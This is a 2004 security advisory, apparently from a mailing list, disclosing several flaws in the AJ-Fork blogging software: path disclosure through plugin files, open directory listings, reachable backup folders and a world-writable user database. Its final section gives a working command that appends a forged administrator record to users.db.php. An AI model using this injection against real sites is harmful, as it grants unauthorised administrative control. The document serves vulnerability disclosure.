Multiple Vulnerabilities in AJ-Fork

From: Ahmad Muammar (
Date: 10/01/04

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    Date: 1 Oct 2004 04:21:10 -0000
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                   Multiple Vulnerabilities in AJ-Fork

    Author: y3dips
    Date: September, 23th 2004
    Location: Indonesia, Jakarta


    Affected software description:

    AJ-Fork is, as the name implies - a fork. Based on the CuteNews 1.3.1 core,
    the aim of the project is to improve what can be improved, and extend what
    can be extended without adding too much bloat (in fierce opposition to the
    mainstream blogging/light publishing tools of today). The project aims to
    be backwards-compatible with CuteNews in what areas are sensible.

    version : AJ-Fork v. 167
    web :



    A. Full path disclosure:

    Almost all Script files in plugins/ Directories are not protected against
    direct access.

    A remote user can access the file to cause the system to display an error
    message that indicates the installation path. The resulting error message
    will disclose potentially sensitive installation path information to the
    remote attacker.

    vulnerable files are :

    auto-acronyms.php, auto-archive.php, count-article-views.php, kses.php,
    custom-quick-tags.php, disable-all-comments.php , easy-date-format.php,
    enable-disable-comments.php, filter-by-author.php, format-switcher.php,
    long-to-short.php, prospective-posting.php, sort-by-xfield.php,

    POC :

    - auto-acronyms.php files


     Fatal error: Call to undefined function: add_filter() in/var/www/html/ajfork
     /plugins/auto-acronyms.php on line 13

    - auto-archive.php files


     Fatal error: Cannot instantiate non-existent class: pluginsettings in
     /var/www/html/ajfork/plugins/auto-archive.php on line 42

    also in files in inc/ directories


     Warning: main(/inc/plugins.php): failed to open stream: No such file or
     directory in /var/www/html/ajfork/inc/ on line 4

     Warning: main(): Failed opening '/inc/plugins.php' for inclusion
     in /var/www/html/ajfork/inc/ on line 4

     Fatal error: Call to undefined function: loadactiveplugins()
     in /var/www/html/ajfork/inc/ on line 5

    B. Directory listing to All directory

    All the directory such as data ,inc ,plugins, skins, tools are not protected
    again direct access, a remote user that access the directories could see the
    list of file or script, and able to download some file. (eg .pl , .mdu )

    POC :


    C. Access to backup directory

    If a remote user point out the url in the browser to
    http://localhost/ajfork/data/backup/ , then it get an warning message :

    You can not view the content of this directory !!!

    but if u go straigt to backup directories (the backup is in directories form)

    POC :

    the name of backup is : dudul
    then go to : http://localhost/ajfork/data/backup/dudul
    after that a remote user will see the listing of files in 'dudul' directories

     Name Last modified Size Description

     Parent Directory -
     archives/ 23-Sep-2004 02:32 -
     comments.txt 23-Sep-2004 02:32 14
     news.txt 23-Sep-2004 02:32 2.1K

    D. Access to Database file are allowed (Write, Read, Execute)

    Ajfork use file "users.db.php" as database file to archive user information
    ( surname, id, *password ) , and the worst thing is the install instruction

    This is the readme file, showing the instruction, which is can be reach at



    Installing CuteNews AJ-Fork is really quite simple, but to make it even more
    simple for you, this step-by-step guide has been written:
    1. ---
    5. Use your FTP client to CHMOD:
       777 (755 might work): all files and folders in the "data/ folder"
       644 (or just 777): index.php
       This will enable the script to read/write from/to its datafiles.
    7. ---

    ---------------------------------- eof ---------------------------------

    so what is the problem ?
    the real problem is ? the "users.db.php" are in the data/ folder , it means
    that other user/nobody account can write to that file. then [attacker] could
    inject the file with "known" database format.

    POC :

    dudul : ajfork user / admin [1]
    y3dips : [ATTACKER] (user with the same host)

    <?PHP die("You don't have access to open this file."); ?>

    ---------------------------------- EOF ----------------------------------

    Scenario :

    ^ [y3dips@ESC data]$ pwd

    ^ [y3dips@ESC data]$ ls -la users.db.php
      -rwxrwxrwx 1 dudul dudul 433 Sep 30 00:30 users.db.php

    ^ [y3dips@ESC data]$ echo "1096482670|1|y3dips|fb8ce4bfe2d0cafce47202961ecc64b3|y3dips||0|0||||" >> users.db.php

    let see the file "users.db.php"

    <?PHP die("You don't have access to open this file."); ?>

    ------------------------------------- EOF --------------------------------

    now, just go to the site and manage the site with y3dips account (administrator)

    not only that , you can only read the file and grab the info to gain the
    encrypted password, but it is easier to insert :)

    *notice : The sad thing, ive change the file (users.db.php) permission to 755 ,
    but i found error in the top of the page.

    Warning: fopen(./data/users.db.php): failed to open stream:
    Permission denied in /var/www/html/ajfork/index.php on line 146 .......

    that because browser (acctually with nobody access) can't write to the file
    , coz the users.db.php used to updated the info also you cant do any change
    to user setting (add or edit user )


    The fix:
    Vendor allready contacted but still no response


    ~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff
    ~ yudhax, biatch-x, lieur-euy, yadi_syahid
    ~ ,
    ~ #e-c-h-o & #aikmel @DALNET


         y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id

    -------------------------------- [ EOF ] ----------------------------------

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